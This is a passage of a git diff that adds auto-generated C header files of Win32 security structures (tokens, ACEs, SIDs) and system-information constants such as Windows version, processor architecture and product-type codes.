long long MaximumWorkingSetSize; + unsigned long long PagefileLimit; + long long TimeLimit; +} QUOTA_LIMITS; + +typedef struct _CLAIM_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE { + void* pValue; + unsigned int ValueLength; +} CLAIM_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE; + +typedef struct _CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1 { + unsigned int Name; + void* ValueType; + unsigned short Reserved; + void* Flags; + unsigned int ValueCount; + void* Values; +} CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1; + +typedef struct _NCRYPT_DESCRIPTOR_HANDLE { + void* Value; +} NCRYPT_DESCRIPTOR_HANDLE; + +typedef struct _ACCESS_ALLOWED_CALLBACK_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} ACCESS_ALLOWED_CALLBACK_ACE; + +typedef struct _SE_SECURITY_DESCRIPTOR { + unsigned int Size; + unsigned int Flags; + void* SecurityDescriptor; +} SE_SECURITY_DESCRIPTOR; + +typedef struct _PRIVILEGE_SET { + unsigned int PrivilegeCount; + unsigned int Control; + void* Privilege[1]; +} PRIVILEGE_SET; + +typedef struct _TOKEN_USER { + void* User; +} TOKEN_USER; + +typedef struct _TOKEN_DEVICE_CLAIMS { + void* DeviceClaims; +} TOKEN_DEVICE_CLAIMS; + +typedef struct _OBJECT_TYPE_LIST { + unsigned short Level; + unsigned short Sbz; + void* ObjectType; +} OBJECT_TYPE_LIST; + +typedef struct _SYSTEM_PROCESS_TRUST_LABEL_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_PROCESS_TRUST_LABEL_ACE; + +typedef struct _SE_ACCESS_REQUEST { + unsigned int Size; + void* SeSecurityDescriptor; + unsigned int DesiredAccess; + unsigned int PreviouslyGrantedAccess; + void* PrincipalSelfSid; + void* GenericMapping; + unsigned int ObjectTypeListCount; + void* ObjectTypeList; +} SE_ACCESS_REQUEST; + +typedef struct _SYSTEM_ALARM_OBJECT_ACE { + void* Header; + unsigned int Mask; + unsigned int Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} SYSTEM_ALARM_OBJECT_ACE; + +typedef struct _SYSTEM_AUDIT_CALLBACK_OBJECT_ACE { + void* Header; + unsigned int Mask; + void* Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} SYSTEM_AUDIT_CALLBACK_OBJECT_ACE; + +typedef struct _TOKEN_DEFAULT_DACL { + void* DefaultDacl; +} TOKEN_DEFAULT_DACL; + +typedef struct _SYSTEM_MANDATORY_LABEL_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_MANDATORY_LABEL_ACE; + +typedef struct _SYSTEM_AUDIT_OBJECT_ACE { + void* Header; + unsigned int Mask; + void* Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} SYSTEM_AUDIT_OBJECT_ACE; + +typedef struct _TOKEN_ACCESS_INFORMATION { + void* SidHash; + void* RestrictedSidHash; + void* Privileges; + void* AuthenticationId; + void* TokenType; + void* ImpersonationLevel; + void* MandatoryPolicy; + unsigned int Flags; + unsigned int AppContainerNumber; + void* PackageSid; + void* CapabilitiesHash; + void* TrustLevelSid; + void* SecurityAttributes; +} TOKEN_ACCESS_INFORMATION; + +typedef struct _TOKEN_STATISTICS { + void* TokenId; + void* AuthenticationId; + long long ExpirationTime; + void* TokenType; + void* ImpersonationLevel; + unsigned int DynamicCharged; + unsigned int DynamicAvailable; + unsigned int GroupCount; + unsigned int PrivilegeCount; + void* ModifiedId; +} TOKEN_STATISTICS; + +typedef struct _TOKEN_MANDATORY_POLICY { + void* Policy; +} TOKEN_MANDATORY_POLICY; + +typedef struct _SID_IDENTIFIER_AUTHORITY { + unsigned char Value[6]; +} SID_IDENTIFIER_AUTHORITY; + +typedef struct _SECURITY_DESCRIPTOR { + unsigned char Revision; + unsigned char Sbz1; + void* Control; + void* Owner; + void* Group; + void* Sacl; + void* Dacl; +} SECURITY_DESCRIPTOR; + +typedef struct _ACCESS_REASONS { + unsigned int Data[32]; +} ACCESS_REASONS; + +typedef struct _SECURITY_CAPABILITIES { + void* AppContainerSid; + void* Capabilities; + unsigned int CapabilityCount; + unsigned int Reserved; +} SECURITY_CAPABILITIES; + +typedef struct _ACCESS_ALLOWED_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} ACCESS_ALLOWED_ACE; + +typedef struct _SYSTEM_AUDIT_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_AUDIT_ACE; + +typedef struct _CLAIM_SECURITY_ATTRIBUTE_V1 { + void* Name; + void* ValueType; + unsigned short Reserved; + unsigned int Flags; + unsigned int ValueCount; + void* Values; +} CLAIM_SECURITY_ATTRIBUTE_V1; + +typedef struct _SID { + unsigned char Revision; + unsigned char SubAuthorityCount; + void* IdentifierAuthority; + unsigned int SubAuthority[1]; +} SID; + +typedef struct _GENERIC_MAPPING { + unsigned int GenericRead; + unsigned int GenericWrite; + unsigned int GenericExecute; + unsigned int GenericAll; +} GENERIC_MAPPING; + +typedef struct _ACCESS_DENIED_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} ACCESS_DENIED_ACE; + +typedef struct _TOKEN_PRIMARY_GROUP { + void* PrimaryGroup; +} TOKEN_PRIMARY_GROUP; + +typedef struct _TOKEN_CONTROL { + void* TokenId; + void* AuthenticationId; + void* ModifiedId; + void* TokenSource; +} TOKEN_CONTROL; + +typedef struct _SYSTEM_SCOPED_POLICY_ID_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_SCOPED_POLICY_ID_ACE; + +typedef struct _SYSTEM_ACCESS_FILTER_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_ACCESS_FILTER_ACE; + +typedef struct _TOKEN_APPCONTAINER_INFORMATION { + void* TokenAppContainer; +} TOKEN_APPCONTAINER_INFORMATION; + +typedef struct _SECURITY_QUALITY_OF_SERVICE { + unsigned int Length; + void* ImpersonationLevel; + unsigned char ContextTrackingMode; + BOOL EffectiveOnly; +} SECURITY_QUALITY_OF_SERVICE; + +typedef struct _TOKEN_LINKED_TOKEN { + void* LinkedToken; +} TOKEN_LINKED_TOKEN; + +typedef struct _SYSTEM_RESOURCE_ATTRIBUTE_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_RESOURCE_ATTRIBUTE_ACE; + diff --git a/stdlib/win32/systeminformation.h b/stdlib/win32/systeminformation.h new file mode 100644 index 0000000..1465770 --- /dev/null +++ b/stdlib/win32/systeminformation.h @@ -0,0 +1,676 @@ +// Generated by entc-win32gen from `Windows.Win32.System.SystemInformation`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define NTDDI_WIN2K 0x5000000 +#define NTDDI_WINXP 0x5010000 +#define NTDDI_WINXPSP2 0x5010200 +#define NTDDI_WS03SP1 0x5020100 +#define NTDDI_VISTA 0x6000000 +#define NTDDI_VISTASP1 0x6000100 +#define NTDDI_WIN7 0x6010000 +#define NTDDI_WIN8 0x6020000 +#define NTDDI_WINBLUE 0x6030000 +#define NTDDI_WINTHRESHOLD 0xa000000 +#define SYSTEM_CPU_SET_INFORMATION_PARKED 0x1 +#define SYSTEM_CPU_SET_INFORMATION_ALLOCATED 0x2 +#define SYSTEM_CPU_SET_INFORMATION_ALLOCATED_TO_TARGET_PROCESS 0x4 +#define SYSTEM_CPU_SET_INFORMATION_REALTIME 0x8 +#define _WIN32_WINNT_NT4 0x400 +#define _WIN32_WINNT_WIN2K 0x500 +#define _WIN32_WINNT_WINXP 0x501 +#define _WIN32_WINNT_WS03 0x502 +#define _WIN32_WINNT_WIN6 0x600 +#define _WIN32_WINNT_VISTA 0x600 +#define _WIN32_WINNT_WS08 0x600 +#define _WIN32_WINNT_LONGHORN 0x600 +#define _WIN32_WINNT_WIN7 0x601 +#define _WIN32_WINNT_WIN8 0x602 +#define _WIN32_WINNT_WINBLUE 0x603 +#define _WIN32_WINNT_WINTHRESHOLD 0xa00 +#define _WIN32_WINNT_WIN10 0xa00 +#define _WIN32_IE_IE20 0x200 +#define _WIN32_IE_IE30 0x300 +#define _WIN32_IE_IE302 0x302 +#define _WIN32_IE_IE40 0x400 +#define _WIN32_IE_IE401 0x401 +#define _WIN32_IE_IE50 0x500 +#define _WIN32_IE_IE501 0x501 +#define _WIN32_IE_IE55 0x550 +#define _WIN32_IE_IE60 0x600 +#define _WIN32_IE_IE60SP1 0x601 +#define _WIN32_IE_IE60SP2 0x603 +#define _WIN32_IE_IE70 0x700 +#define _WIN32_IE_IE80 0x800 +#define _WIN32_IE_IE90 0x900 +#define _WIN32_IE_IE100 0xa00 +#define _WIN32_IE_IE110 0xa00 +#define _WIN32_IE_NT4 0x200 +#define _WIN32_IE_NT4SP1 0x200 +#define _WIN32_IE_NT4SP2 0x200 +#define _WIN32_IE_NT4SP3 0x302 +#define _WIN32_IE_NT4SP4 0x401 +#define _WIN32_IE_NT4SP5 0x401 +#define _WIN32_IE_NT4SP6 0x500 +#define _WIN32_IE_WIN98 0x401 +#define _WIN32_IE_WIN98SE 0x500 +#define _WIN32_IE_WINME 0x550 +#define _WIN32_IE_WIN2K 0x501 +#define _WIN32_IE_WIN2KSP1 0x501 +#define _WIN32_IE_WIN2KSP2 0x501 +#define _WIN32_IE_WIN2KSP3 0x501 +#define _WIN32_IE_WIN2KSP4 0x501 +#define _WIN32_IE_XP 0x600 +#define _WIN32_IE_XPSP1 0x601 +#define _WIN32_IE_XPSP2 0x603 +#define _WIN32_IE_WS03 0x602 +#define _WIN32_IE_WS03SP1 0x603 +#define _WIN32_IE_WIN6 0x700 +#define _WIN32_IE_LONGHORN 0x700 +#define _WIN32_IE_WIN7 0x800 +#define _WIN32_IE_WIN8 0xa00 +#define _WIN32_IE_WINBLUE 0xa00 +#define _WIN32_IE_WINTHRESHOLD 0xa00 +#define _WIN32_IE_WIN10 0xa00 +#define NTDDI_WIN4 0x4000000 +#define NTDDI_WIN2KSP1 0x5000100 +#define NTDDI_WIN2KSP2 0x5000200 +#define NTDDI_WIN2KSP3 0x5000300 +#define NTDDI_WIN2KSP4 0x5000400 +#define NTDDI_WINXPSP1 0x5010100 +#define NTDDI_WINXPSP3 0x5010300 +#define NTDDI_WINXPSP4 0x5010400 +#define NTDDI_WS03 0x5020000 +#define NTDDI_WS03SP2 0x5020200 +#define NTDDI_WS03SP3 0x5020300 +#define NTDDI_WS03SP4 0x5020400 +#define NTDDI_WIN6 0x6000000 +#define NTDDI_WIN6SP1 0x6000100 +#define NTDDI_WIN6SP2 0x6000200 +#define NTDDI_WIN6SP3 0x6000300 +#define NTDDI_WIN6SP4 0x6000400 +#define NTDDI_VISTASP2 0x6000200 +#define NTDDI_VISTASP3 0x6000300 +#define NTDDI_VISTASP4 0x6000400 +#define NTDDI_LONGHORN 0x6000000 +#define NTDDI_WS08 0x6000100 +#define NTDDI_WS08SP2 0x6000200 +#define NTDDI_WS08SP3 0x6000300 +#define NTDDI_WS08SP4 0x6000400 +#define NTDDI_WIN10 0xa000000 +#define NTDDI_WIN10_TH2 0xa000001 +#define NTDDI_WIN10_RS1 0xa000002 +#define NTDDI_WIN10_RS2 0xa000003 +#define NTDDI_WIN10_RS3 0xa000004 +#define NTDDI_WIN10_RS4 0xa000005 +#define NTDDI_WIN10_RS5 0xa000006 +#define NTDDI_WIN10_19H1 0xa000007 +#define NTDDI_WIN10_VB 0xa000008 +#define NTDDI_WIN10_MN 0xa000009 +#define NTDDI_WIN10_FE 0xa00000a +#define NTDDI_WIN10_CO 0xa00000b +#define NTDDI_WIN10_NI 0xa00000c +#define NTDDI_WIN10_CU 0xa00000d +#define NTDDI_WIN11_ZN 0xa00000e +#define NTDDI_WIN11_GA 0xa00000f +#define NTDDI_WIN11_GE 0xa000010 +#define WDK_NTDDI_VERSION 0xa000010 +#define OSVERSION_MASK 0xffff0000 +#define SPVERSION_MASK 0xff00 +#define SUBVERSION_MASK 0xff +#define NTDDI_VERSION 0xa000010 +#define SCEX2_ALT_NETBIOS_NAME 0x1 +#define DEVICEFAMILYINFOENUM_UAP 0x0 +#define DEVICEFAMILYINFOENUM_WINDOWS_8X 0x1 +#define DEVICEFAMILYINFOENUM_WINDOWS_PHONE_8X 0x2 +#define DEVICEFAMILYINFOENUM_DESKTOP 0x3 +#define DEVICEFAMILYINFOENUM_MOBILE 0x4 +#define DEVICEFAMILYINFOENUM_XBOX 0x5 +#define DEVICEFAMILYINFOENUM_TEAM 0x6 +#define DEVICEFAMILYINFOENUM_IOT 0x7 +#define DEVICEFAMILYINFOENUM_IOT_HEADLESS 0x8 +#define DEVICEFAMILYINFOENUM_SERVER 0x9 +#define DEVICEFAMILYINFOENUM_HOLOGRAPHIC 0xa +#define DEVICEFAMILYINFOENUM_XBOXSRA 0xb +#define DEVICEFAMILYINFOENUM_XBOXERA 0xc +#define DEVICEFAMILYINFOENUM_SERVER_NANO 0xd +#define DEVICEFAMILYINFOENUM_8828080 0xe +#define DEVICEFAMILYINFOENUM_7067329 0xf +#define DEVICEFAMILYINFOENUM_WINDOWS_CORE 0x10 +#define DEVICEFAMILYINFOENUM_WINDOWS_CORE_HEADLESS 0x11 +#define DEVICEFAMILYINFOENUM_MAX 0x11 +#define IMAGE_FILE_MACHINE_AXP64 0x284 +#define IMAGE_FILE_MACHINE_I386 0x14c +#define IMAGE_FILE_MACHINE_IA64 0x200 +#define IMAGE_FILE_MACHINE_AMD64 0x8664 +#define IMAGE_FILE_MACHINE_UNKNOWN 0x0 +#define IMAGE_FILE_MACHINE_TARGET_HOST 0x1 +#define IMAGE_FILE_MACHINE_R3000 0x162 +#define IMAGE_FILE_MACHINE_R4000 0x166 +#define IMAGE_FILE_MACHINE_R10000 0x168 +#define IMAGE_FILE_MACHINE_WCEMIPSV2 0x169 +#define IMAGE_FILE_MACHINE_ALPHA 0x184 +#define IMAGE_FILE_MACHINE_SH3 0x1a2 +#define IMAGE_FILE_MACHINE_SH3DSP 0x1a3 +#define IMAGE_FILE_MACHINE_SH3E 0x1a4 +#define IMAGE_FILE_MACHINE_SH4 0x1a6 +#define IMAGE_FILE_MACHINE_SH5 0x1a8 +#define IMAGE_FILE_MACHINE_ARM 0x1c0 +#define IMAGE_FILE_MACHINE_THUMB 0x1c2 +#define IMAGE_FILE_MACHINE_ARMNT 0x1c4 +#define IMAGE_FILE_MACHINE_AM33 0x1d3 +#define IMAGE_FILE_MACHINE_POWERPC 0x1f0 +#define IMAGE_FILE_MACHINE_POWERPCFP 0x1f1 +#define IMAGE_FILE_MACHINE_MIPS16 0x266 +#define IMAGE_FILE_MACHINE_ALPHA64 0x284 +#define IMAGE_FILE_MACHINE_MIPSFPU 0x366 +#define IMAGE_FILE_MACHINE_MIPSFPU16 0x466 +#define IMAGE_FILE_MACHINE_TRICORE 0x520 +#define IMAGE_FILE_MACHINE_CEF 0xcef +#define IMAGE_FILE_MACHINE_EBC 0xebc +#define IMAGE_FILE_MACHINE_M32R 0x9041 +#define IMAGE_FILE_MACHINE_ARM64 0xaa64 +#define IMAGE_FILE_MACHINE_CEE 0xc0ee +#define OS_DEPLOYMENT_STANDARD 1 +#define OS_DEPLOYMENT_COMPACT 2 +#define CacheUnified 0 +#define CacheInstruction 1 +#define CacheData 2 +#define CacheTrace 3 +#define CacheUnknown 4 +#define USER_CET_ENVIRONMENT_WIN32_PROCESS 0x0 +#define USER_CET_ENVIRONMENT_SGX2_ENCLAVE 0x2 +#define USER_CET_ENVIRONMENT_VBS_ENCLAVE 0x10 +#define USER_CET_ENVIRONMENT_VBS_BASIC_ENCLAVE 0x11 +#define GlobalDataIdUnknown 0 +#define GlobalDataIdRngSeedVersion 1 +#define GlobalDataIdInterruptTime 2 +#define GlobalDataIdTimeZoneBias 3 +#define GlobalDataIdImageNumberLow 4 +#define GlobalDataIdImageNumberHigh 5 +#define GlobalDataIdTimeZoneId 6 +#define GlobalDataIdNtMajorVersion 7 +#define GlobalDataIdNtMinorVersion 8 +#define GlobalDataIdSystemExpirationDate 9 +#define GlobalDataIdKdDebuggerEnabled 10 +#define GlobalDataIdCyclesPerYield 11 +#define GlobalDataIdSafeBootMode 12 +#define GlobalDataIdLastSystemRITEventTickCount 13 +#define GlobalDataIdConsoleSharedDataFlags 14 +#define GlobalDataIdNtSystemRootDrive 15 +#define GlobalDataIdQpcBypassEnabled 16 +#define GlobalDataIdQpcData 17 +#define GlobalDataIdQpcBias 18 +#define DEVICEFAMILYDEVICEFORM_UNKNOWN 0x0 +#define DEVICEFAMILYDEVICEFORM_PHONE 0x1 +#define DEVICEFAMILYDEVICEFORM_TABLET 0x2 +#define DEVICEFAMILYDEVICEFORM_DESKTOP 0x3 +#define DEVICEFAMILYDEVICEFORM_NOTEBOOK 0x4 +#define DEVICEFAMILYDEVICEFORM_CONVERTIBLE 0x5 +#define DEVICEFAMILYDEVICEFORM_DETACHABLE 0x6 +#define DEVICEFAMILYDEVICEFORM_ALLINONE 0x7 +#define DEVICEFAMILYDEVICEFORM_STICKPC 0x8 +#define DEVICEFAMILYDEVICEFORM_PUCK 0x9 +#define DEVICEFAMILYDEVICEFORM_LARGESCREEN 0xa +#define DEVICEFAMILYDEVICEFORM_HMD 0xb +#define DEVICEFAMILYDEVICEFORM_INDUSTRY_HANDHELD 0xc +#define DEVICEFAMILYDEVICEFORM_INDUSTRY_TABLET 0xd +#define DEVICEFAMILYDEVICEFORM_BANKING 0xe +#define DEVICEFAMILYDEVICEFORM_BUILDING_AUTOMATION 0xf +#define DEVICEFAMILYDEVICEFORM_DIGITAL_SIGNAGE 0x10 +#define DEVICEFAMILYDEVICEFORM_GAMING 0x11 +#define DEVICEFAMILYDEVICEFORM_HOME_AUTOMATION 0x12 +#define DEVICEFAMILYDEVICEFORM_INDUSTRIAL_AUTOMATION 0x13 +#define DEVICEFAMILYDEVICEFORM_KIOSK 0x14 +#define DEVICEFAMILYDEVICEFORM_MAKER_BOARD 0x15 +#define DEVICEFAMILYDEVICEFORM_MEDICAL 0x16 +#define DEVICEFAMILYDEVICEFORM_NETWORKING 0x17 +#define DEVICEFAMILYDEVICEFORM_POINT_OF_SERVICE 0x18 +#define DEVICEFAMILYDEVICEFORM_PRINTING 0x19 +#define DEVICEFAMILYDEVICEFORM_THIN_CLIENT 0x1a +#define DEVICEFAMILYDEVICEFORM_TOY 0x1b +#define DEVICEFAMILYDEVICEFORM_VENDING 0x1c +#define DEVICEFAMILYDEVICEFORM_INDUSTRY_OTHER 0x1d +#define DEVICEFAMILYDEVICEFORM_XBOX_ONE 0x1e +#define DEVICEFAMILYDEVICEFORM_XBOX_ONE_S 0x1f +#define DEVICEFAMILYDEVICEFORM_XBOX_ONE_X 0x20 +#define DEVICEFAMILYDEVICEFORM_XBOX_ONE_X_DEVKIT 0x21 +#define DEVICEFAMILYDEVICEFORM_XBOX_SERIES_X 0x22 +#define DEVICEFAMILYDEVICEFORM_XBOX_SERIES_X_DEVKIT 0x23 +#define DEVICEFAMILYDEVICEFORM_XBOX_SERIES_S 0x24 +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_01 0x25 +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_02 0x26 +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_03 0x27 +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_04 0x28 +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_05 0x29 +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_06 0x2a +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_07 0x2b +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_08 0x2c +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_09 0x2d +#define DEVICEFAMILYDEVICEFORM_GAMING_HANDHELD 0x2e +#define DEVICEFAMILYDEVICEFORM_GAMING_CONSOLE 0x2f +#define DEVICEFAMILYDEVICEFORM_MAX 0x2f +#define ComputerNameNetBIOS 0 +#define ComputerNameDnsHostname 1 +#define ComputerNameDnsDomain 2 +#define ComputerNameDnsFullyQualified 3 +#define ComputerNamePhysicalNetBIOS 4 +#define ComputerNamePhysicalDnsHostname 5 +#define ComputerNamePhysicalDnsDomain 6 +#define ComputerNamePhysicalDnsFullyQualified 7 +#define ComputerNameMax 8 +#define PROCESSOR_ARCHITECTURE_INTEL 0x0 +#define PROCESSOR_ARCHITECTURE_MIPS 0x1 +#define PROCESSOR_ARCHITECTURE_ALPHA 0x2 +#define PROCESSOR_ARCHITECTURE_PPC 0x3 +#define PROCESSOR_ARCHITECTURE_SHX 0x4 +#define PROCESSOR_ARCHITECTURE_ARM 0x5 +#define PROCESSOR_ARCHITECTURE_IA64 0x6 +#define PROCESSOR_ARCHITECTURE_ALPHA64 0x7 +#define PROCESSOR_ARCHITECTURE_MSIL 0x8 +#define PROCESSOR_ARCHITECTURE_AMD64 0x9 +#define PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 0xa +#define PROCESSOR_ARCHITECTURE_NEUTRAL 0xb +#define PROCESSOR_ARCHITECTURE_ARM64 0xc +#define PROCESSOR_ARCHITECTURE_ARM32_ON_WIN64 0xd +#define PROCESSOR_ARCHITECTURE_IA32_ON_ARM64 0xe +#define PROCESSOR_ARCHITECTURE_UNKNOWN 0xffff +#define VER_MINORVERSION 0x1 +#define VER_MAJORVERSION 0x2 +#define VER_BUILDNUMBER 0x4 +#define VER_PLATFORMID 0x8 +#define VER_SERVICEPACKMINOR 0x10 +#define VER_SERVICEPACKMAJOR 0x20 +#define VER_SUITENAME 0x40 +#define VER_PRODUCT_TYPE 0x80 +#define ACPI 0x41435049 +#define FIRM 0x4649524d +#define RSMB 0x52534d42 +#define RelationProcessorCore 0 +#define RelationNumaNode 1 +#define RelationCache 2 +#define RelationProcessorPackage 3 +#define RelationGroup 4 +#define RelationProcessorDie 5 +#define RelationNumaNodeEx 6 +#define RelationProcessorModule 7 +#define RelationAll 65535 +#define DEPPolicyAlwaysOff 0 +#define DEPPolicyAlwaysOn 1 +#define DEPPolicyOptIn 2 +#define DEPPolicyOptOut 3 +#define DEPTotalPolicyCount 4 +#define DeveloperDriveEnablementStateError 0 +#define DeveloperDriveEnabled 1 +#define DeveloperDriveDisabledBySystemPolicy 2 +#define DeveloperDriveDisabledByGroupPolicy 3 +#define FirmwareTypeUnknown 0 +#define FirmwareTypeBios 1 +#define FirmwareTypeUefi 2 +#define FirmwareTypeMax 3 +#define PRODUCT_UNDEFINED 0x0 +#define PRODUCT_ULTIMATE 0x1 +#define PRODUCT_HOME_BASIC 0x2 +#define PRODUCT_HOME_PREMIUM 0x3 +#define PRODUCT_ENTERPRISE 0x4 +#define PRODUCT_HOME_BASIC_N 0x5 +#define PRODUCT_BUSINESS 0x6 +#define PRODUCT_STANDARD_SERVER 0x7 +#define PRODUCT_DATACENTER_SERVER 0x8 +#define PRODUCT_SMALLBUSINESS_SERVER 0x9 +#define PRODUCT_ENTERPRISE_SERVER 0xa +#define PRODUCT_STARTER 0xb +#define PRODUCT_DATACENTER_SERVER_CORE 0xc +#define PRODUCT_STANDARD_SERVER_CORE 0xd +#define PRODUCT_ENTERPRISE_SERVER_CORE 0xe +#define PRODUCT_ENTERPRISE_SERVER_IA64 0xf +#define PRODUCT_BUSINESS_N 0x10 +#define PRODUCT_WEB_SERVER 0x11 +#define PRODUCT_CLUSTER_SERVER 0x12 +#define PRODUCT_HOME_SERVER 0x13 +#define PRODUCT_STORAGE_EXPRESS_SERVER 0x14 +#define PRODUCT_STORAGE_STANDARD_SERVER 0x15 +#define PRODUCT_STORAGE_WORKGROUP_SERVER 0x16 +#define PRODUCT_STORAGE_ENTERPRISE_SERVER 0x17 +#define PRODUCT_SERVER_FOR_SMALLBUSINESS 0x18 +#define PRODUCT_SMALLBUSINESS_SERVER_PREMIUM 0x19 +#define PRODUCT_HOME_PREMIUM_N 0x1a +#define PRODUCT_ENTERPRISE_N 0x1b +#define PRODUCT_ULTIMATE_N 0x1c +#define PRODUCT_WEB_SERVER_CORE 0x1d +#define PRODUCT_MEDIUMBUSINESS_SERVER_MANAGEMENT 0x1e +#define PRODUCT_MEDIUMBUSINESS_SERVER_SECURITY 0x1f +#define PRODUCT_MEDIUMBUSINESS_SERVER_MESSAGING 0x20 +#define PRODUCT_SERVER_FOUNDATION 0x21 +#define PRODUCT_HOME_PREMIUM_SERVER 0x22 +#define PRODUCT_SERVER_FOR_SMALLBUSINESS_V 0x23 +#define PRODUCT_STANDARD_SERVER_V 0x24 +#define PRODUCT_DATACENTER_SERVER_V 0x25 +#define PRODUCT_ENTERPRISE_SERVER_V 0x26 +#define PRODUCT_DATACENTER_SERVER_CORE_V 0x27 +#define PRODUCT_STANDARD_SERVER_CORE_V 0x28 +#define PRODUCT_ENTERPRISE_SERVER_CORE_V 0x29 +#define PRODUCT_HYPERV 0x2a +#define PRODUCT_STORAGE_EXPRESS_SERVER_CORE 0x2b +#define PRODUCT_STORAGE_STANDARD_SERVER_CORE 0x2c +#define PRODUCT_STORAGE_WORKGROUP_SERVER_CORE 0x2d +#define PRODUCT_STORAGE_ENTERPRISE_SERVER_CORE 0x2e +#define PRODUCT_STARTER_N 0x2f +#define PRODUCT_PROFESSIONAL 0x30 +#define PRODUCT_PROFESSIONAL_N 0x31 +#define PRODUCT_SB_SOLUTION_SERVER 0x32 +#define PRODUCT_SERVER_FOR_SB_SOLUTIONS 0x33 +#define PRODUCT_STANDARD_SERVER_SOLUTIONS 0x34 +#define PRODUCT_STANDARD_SERVER_SOLUTIONS_CORE 0x35 +#define PRODUCT_SB_SOLUTION_SERVER_EM 0x36 +#define PRODUCT_SERVER_FOR_SB_SOLUTIONS_EM 0x37 +#define PRODUCT_SOLUTION_EMBEDDEDSERVER 0x38 +#define PRODUCT_SOLUTION_EMBEDDEDSERVER_CORE 0x39 +#define PRODUCT_PROFESSIONAL_EMBEDDED 0x3a +#define PRODUCT_ESSENTIALBUSINESS_SERVER_MGMT 0x3b +#define PRODUCT_ESSENTIALBUSINESS_SERVER_ADDL 0x3c +#define PRODUCT_ESSENTIALBUSINESS_SERVER_MGMTSVC 0x3d +#define PRODUCT_ESSENTIALBUSINESS_SERVER_ADDLSVC 0x3e +#define PRODUCT_SMALLBUSINESS_SERVER_PREMIUM_CORE 0x3f +#define PRODUCT_CLUSTER_SERVER_V 0x40 +#define PRODUCT_EMBEDDED 0x41 +#define PRODUCT_STARTER_E 0x42 +#define PRODUCT_HOME_BASIC_E 0x43 +#define PRODUCT_HOME_PREMIUM_E 0x44 +#define PRODUCT_PROFESSIONAL_E 0x45 +#define PRODUCT_ENTERPRISE_E 0x46 +#define PRODUCT_ULTIMATE_E 0x47 +#define PRODUCT_ENTERPRISE_EVALUATION 0x48 +#define PRODUCT_MULTIPOINT_STANDARD_SERVER 0x4c +#define PRODUCT_MULTIPOINT_PREMIUM_SERVER 0x4d +#define PRODUCT_STANDARD_EVALUATION_SERVER 0x4f +#define PRODUCT_DATACENTER_EVALUATION_SERVER 0x50 +#define PRODUCT_ENTERPRISE_N_EVALUATION 0x54 +#define PRODUCT_EMBEDDED_AUTOMOTIVE 0x55 +#define PRODUCT_EMBEDDED_INDUSTRY_A 0x56 +#define PRODUCT_THINPC 0x57 +#define PRODUCT_EMBEDDED_A 0x58 +#define PRODUCT_EMBEDDED_INDUSTRY 0x59 +#define PRODUCT_EMBEDDED_E 0x5a +#define PRODUCT_EMBEDDED_INDUSTRY_E 0x5b +#define PRODUCT_EMBEDDED_INDUSTRY_A_E 0x5c +#define PRODUCT_STORAGE_WORKGROUP_EVALUATION_SERVER 0x5f +#define PRODUCT_STORAGE_STANDARD_EVALUATION_SERVER 0x60 +#define PRODUCT_CORE_ARM 0x61 +#define PRODUCT_CORE_N 0x62 +#define PRODUCT_CORE_COUNTRYSPECIFIC 0x63 +#define PRODUCT_CORE_SINGLELANGUAGE 0x64 +#define PRODUCT_CORE 0x65 +#define PRODUCT_PROFESSIONAL_WMC 0x67 +#define PRODUCT_EMBEDDED_INDUSTRY_EVAL 0x69 +#define PRODUCT_EMBEDDED_INDUSTRY_E_EVAL 0x6a +#define PRODUCT_EMBEDDED_EVAL 0x6b +#define PRODUCT_EMBEDDED_E_EVAL 0x6c +#define PRODUCT_NANO_SERVER 0x6d +#define PRODUCT_CLOUD_STORAGE_SERVER 0x6e +#define PRODUCT_CORE_CONNECTED 0x6f +#define PRODUCT_PROFESSIONAL_STUDENT 0x70 +#define PRODUCT_CORE_CONNECTED_N 0x71 +#define PRODUCT_PROFESSIONAL_STUDENT_N 0x72 +#define PRODUCT_CORE_CONNECTED_SINGLELANGUAGE 0x73 +#define PRODUCT_CORE_CONNECTED_COUNTRYSPECIFIC 0x74 +#define PRODUCT_CONNECTED_CAR 0x75 +#define PRODUCT_INDUSTRY_HANDHELD 0x76 +#define PRODUCT_PPI_PRO 0x77 +#define PRODUCT_ARM64_SERVER 0x78 +#define PRODUCT_EDUCATION 0x79 +#define PRODUCT_EDUCATION_N 0x7a +#define PRODUCT_IOTUAP 0x7b +#define PRODUCT_CLOUD_HOST_INFRASTRUCTURE_SERVER 0x7c +#define PRODUCT_ENTERPRISE_S 0x7d +#define PRODUCT_ENTERPRISE_S_N 0x7e +#define PRODUCT_PROFESSIONAL_S 0x7f +#define PRODUCT_PROFESSIONAL_S_N 0x80 +#define PRODUCT_ENTERPRISE_S_EVALUATION 0x81 +#define 